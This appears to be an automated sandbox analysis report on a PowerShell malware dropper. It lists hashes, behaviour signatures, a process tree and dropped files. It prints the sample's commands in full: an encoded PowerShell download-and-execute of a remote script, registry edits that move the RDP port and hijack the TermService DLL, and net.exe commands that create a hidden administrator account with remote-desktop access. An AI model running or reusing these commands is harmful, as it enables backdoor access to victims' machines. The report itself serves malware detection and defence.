Analysis

  • max time kernel
    19s
  • max time network
    114s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    18-08-2021 13:28

General

  • Target

    b65273062c9be6bfc6343438e51d7f68aaecf8382ae1373ff1b3adfa~.ps1

  • Size

    2.6MB

  • MD5

    35c34f487155cf7fc72c3146bfa1a016

  • SHA1

    7ee148a4481dcbaba8e63235356f931243f30b37

  • SHA256

    b65273062c9be6bfc6343438e51d7f68aaecf8382ae1373ff1b3adfacff1fd5d

  • SHA512

    188daeb03aa63c289649f45ead6f7d66d20d9549ed673c4449bc5b353b992654de78d114f784bf7f582a12daf029084e21123fff57e5318188de650d7099c32b

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\b65273062c9be6bfc6343438e51d7f68aaecf8382ae1373ff1b3adfa~.ps1
    1⤵
    • Deletes itself
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3236
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\owrprf52\owrprf52.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3728
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2E3A.tmp" "c:\Users\Admin\AppData\Local\Temp\owrprf52\CSCC09036E78B6840F593AE87398C96D5AC.TMP"
        3⤵
          PID:2936
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1248
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4016
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3796
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        2⤵
          PID:2316
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
          2⤵
          • Modifies registry key
          PID:2928
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
          2⤵
            PID:3712
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3212
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
                PID:2288
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1172
              • C:\Windows\system32\cmd.exe
                cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3932
                • C:\Windows\system32\net.exe
                  net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3848
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start rdpdr
                    5⤵
                      PID:3524
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2316
                • C:\Windows\system32\cmd.exe
                  cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3952
                  • C:\Windows\system32\net.exe
                    net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1472
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start TermService
                      5⤵
                        PID:2144
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                  2⤵
                    PID:932
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                    2⤵
                      PID:2132
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3260
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1240
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:1236
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc JlKWUXry /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1584
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc JlKWUXry /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:196
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc JlKWUXry /add
                          3⤵
                            PID:3732
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2808
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:636
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:1612
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:184
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2712
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:2064
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2132
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3152
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:1584
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc JlKWUXry
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2932
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc JlKWUXry
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1940
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc JlKWUXry
                                  3⤵
                                    PID:3848
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1240
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:2968
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:2164
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic CPU get NAME
                                    2⤵
                                      PID:3932
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    1⤵
                                      PID:3368
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        2⤵
                                          PID:2064
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            3⤵
                                            • Blocklisted process makes network request
                                            • Drops file in Program Files directory
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:2824

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Temp\RES2E3A.tmp

                                        MD5

                                        9dbe0e09de872822a2eb3006fdd844a0

                                        SHA1

                                        cc55a8021023b763d7886a144cae9d84dc6cee24

                                        SHA256

                                        85b4968aa7f7cb82e7d1276a834bc03ab8a2f3b9da34e357bc34e9528d9cde3d

                                        SHA512

                                        25c395c9f14ac2a2b8629248d2b186b48c3def127cebf898f346e3299fbc7c6850478c2ef130b75aa497200f152702ef1f0c43a987ae6e006a2835e258ec9c8c

                                      • C:\Users\Admin\AppData\Local\Temp\owrprf52\owrprf52.dll

                                        MD5

                                        f561ff6645c3c086f8c4c52cb4ca4bd8

                                        SHA1

                                        18a26cb4b0b46f8ad029bcbc4ab3af2cc1e9d365

                                        SHA256

                                        68f0509a34426432e4a043a03fcbcccd0621026004c05a51bcb8b5f94d592c58

                                        SHA512

                                        206706f84c4ea6a3da4dbbe928c07db6101c6ef47213e4635bb68c01bd542748f0eef5d8e45180b521a125be09f345eac94202d4ccc924ec0d6778375b84fa52

                                      • \??\c:\Users\Admin\AppData\Local\Temp\owrprf52\CSCC09036E78B6840F593AE87398C96D5AC.TMP

                                        MD5

                                        8ea41b95990d5d7052e34d197a2c0eb7

                                        SHA1

                                        8fb06db36707d3ca35ddb67b8f7de70249e90d69

                                        SHA256

                                        b4f53c51611089edbf9f7a776e3569f4fd0d7e541b99df87ea13c015d4aaf1e1

                                        SHA512

                                        df2d0e4222b4b94d8ee665edf8b2f91be39da178a4b25815979851c54110acb79e662b778f1eaff67cc1e738a654b2a5d810ccb5888b850f781e9f06d6d9e0ea

                                      • \??\c:\Users\Admin\AppData\Local\Temp\owrprf52\owrprf52.0.cs

                                        MD5

                                        fe552aa471e3747e57ddeff23d6da1fc

                                        SHA1

                                        16832293206ec339d47940533443f4fb375826fa

                                        SHA256

                                        60122a8ad7d370fa8dd0ca1b65f1b7685128c526195ac2ffb4edab103d45208d

                                        SHA512

                                        8cc715d2ad259d557b818e86b9fab2f91186ca4b1cde477218c0943313ec587d87499288598a2c64969fe2ee6eaf2132c269869f6a7201cf82100620d3ce34e6

                                      • \??\c:\Users\Admin\AppData\Local\Temp\owrprf52\owrprf52.cmdline

                                        MD5

                                        bb7e477af2363beacb237f0c8dd20f54

                                        SHA1

                                        d56c4020d512b8499686340914ae6e472784b943

                                        SHA256

                                        cc555ab6172f4d6d62d42ba96d0854443289625da6f790bd1e2002a4226c13a7

                                        SHA512

                                        0779fee27eaa4c60a76b6c156b268c276b56eaae5ee076d100716c58936d2583e184a3f8abaf01014915b681879a608060b4d866ae4164c4cb03cf2bf72d3d5f

                                      • \Windows\Branding\mediasrv.png

                                        MD5

                                        c13860727871a39063e0bb58117919ba

                                        SHA1

                                        4f91c6240d459858b7723e843d2ed37e1e9d152b

                                        SHA256

                                        8fa363bec94402d57a8c1acb288e9d9ca0a28eee18d300359e83252c60e01719

                                        SHA512

                                        348c5ecd6f06a114c11b100a95b89687a3064afe1fd5c3874772938a463c29d23938a1bca967734c19fd06bcf97f5d75c78431305912e06f1d73ceb83db48ec6

                                      • \Windows\Branding\mediasvc.png

                                        MD5

                                        aa6bf98c9120b0539c0270a3e453ddf6

                                        SHA1

                                        982bae56ad251639d34412d40bd7c0f2c2f4ff7a

                                        SHA256

                                        7ca008588561777420954419f28471ffc53dded26af0c640991ecf80de490d99

                                        SHA512

                                        d633dfa60bd26d516e4b659f66ca32deabf11ae5334ab3d187dd71d8137d56f92273af0a6abdc56b6af270d4821ab86ca5dacecb849e6151ffa929328ad0c74c

                                      • memory/196-346-0x0000000000000000-mapping.dmp

                                      • memory/636-348-0x0000000000000000-mapping.dmp

                                      • memory/932-381-0x0000000000000000-mapping.dmp

                                      • memory/1172-334-0x0000000000000000-mapping.dmp

                                      • memory/1236-345-0x0000000000000000-mapping.dmp

                                      • memory/1240-344-0x0000000000000000-mapping.dmp

                                      • memory/1248-159-0x000001782F5A0000-0x000001782F5A2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1248-151-0x0000000000000000-mapping.dmp

                                      • memory/1248-160-0x000001782F5A3000-0x000001782F5A5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1248-187-0x000001782F5A6000-0x000001782F5A8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1248-188-0x000001782F5A8000-0x000001782F5AA000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1472-340-0x0000000000000000-mapping.dmp

                                      • memory/1584-353-0x0000000000000000-mapping.dmp

                                      • memory/1612-349-0x0000000000000000-mapping.dmp

                                      • memory/1940-354-0x0000000000000000-mapping.dmp

                                      • memory/2064-358-0x0000000000000000-mapping.dmp

                                      • memory/2064-351-0x0000000000000000-mapping.dmp

                                      • memory/2132-382-0x0000000000000000-mapping.dmp

                                      • memory/2144-341-0x0000000000000000-mapping.dmp

                                      • memory/2288-331-0x0000000000000000-mapping.dmp

                                      • memory/2316-338-0x0000000000000000-mapping.dmp

                                      • memory/2316-289-0x0000000000000000-mapping.dmp

                                      • memory/2712-350-0x0000000000000000-mapping.dmp

                                      • memory/2824-395-0x0000028758BB6000-0x0000028758BB8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2824-366-0x0000028758BB0000-0x0000028758BB2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2824-367-0x0000028758BB3000-0x0000028758BB5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2824-470-0x0000028758BB8000-0x0000028758BB9000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2824-359-0x0000000000000000-mapping.dmp

                                      • memory/2928-290-0x0000000000000000-mapping.dmp

                                      • memory/2936-133-0x0000000000000000-mapping.dmp

                                      • memory/2968-356-0x0000000000000000-mapping.dmp

                                      • memory/3152-352-0x0000000000000000-mapping.dmp

                                      • memory/3212-330-0x0000000000000000-mapping.dmp

                                      • memory/3236-118-0x0000013935230000-0x0000013935231000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3236-143-0x00000139362C0000-0x00000139362C1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3236-144-0x0000013936650000-0x0000013936651000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3236-138-0x000001391B4A6000-0x000001391B4A8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3236-137-0x0000013935220000-0x0000013935221000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3236-286-0x000001391B4A8000-0x000001391B4A9000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3236-122-0x0000013935D20000-0x0000013935D21000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3236-124-0x000001391B4A3000-0x000001391B4A5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3236-123-0x000001391B4A0000-0x000001391B4A2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3524-337-0x0000000000000000-mapping.dmp

                                      • memory/3712-291-0x0000000000000000-mapping.dmp

                                      • memory/3728-130-0x0000000000000000-mapping.dmp

                                      • memory/3732-347-0x0000000000000000-mapping.dmp

                                      • memory/3796-248-0x000002035AFC0000-0x000002035AFC2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3796-280-0x000002035AFC6000-0x000002035AFC8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3796-237-0x0000000000000000-mapping.dmp

                                      • memory/3796-249-0x000002035AFC3000-0x000002035AFC5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3796-281-0x000002035AFC8000-0x000002035AFCA000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3848-336-0x0000000000000000-mapping.dmp

                                      • memory/3848-355-0x0000000000000000-mapping.dmp

                                      • memory/3932-357-0x0000000000000000-mapping.dmp

                                      • memory/3932-335-0x0000000000000000-mapping.dmp

                                      • memory/3952-339-0x0000000000000000-mapping.dmp

                                      • memory/4016-195-0x0000000000000000-mapping.dmp

                                      • memory/4016-206-0x0000013CDF7A3000-0x0000013CDF7A5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4016-205-0x0000013CDF7A0000-0x0000013CDF7A2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4016-247-0x0000013CDF7A6000-0x0000013CDF7A8000-memory.dmp

                                        Filesize

                                        8KB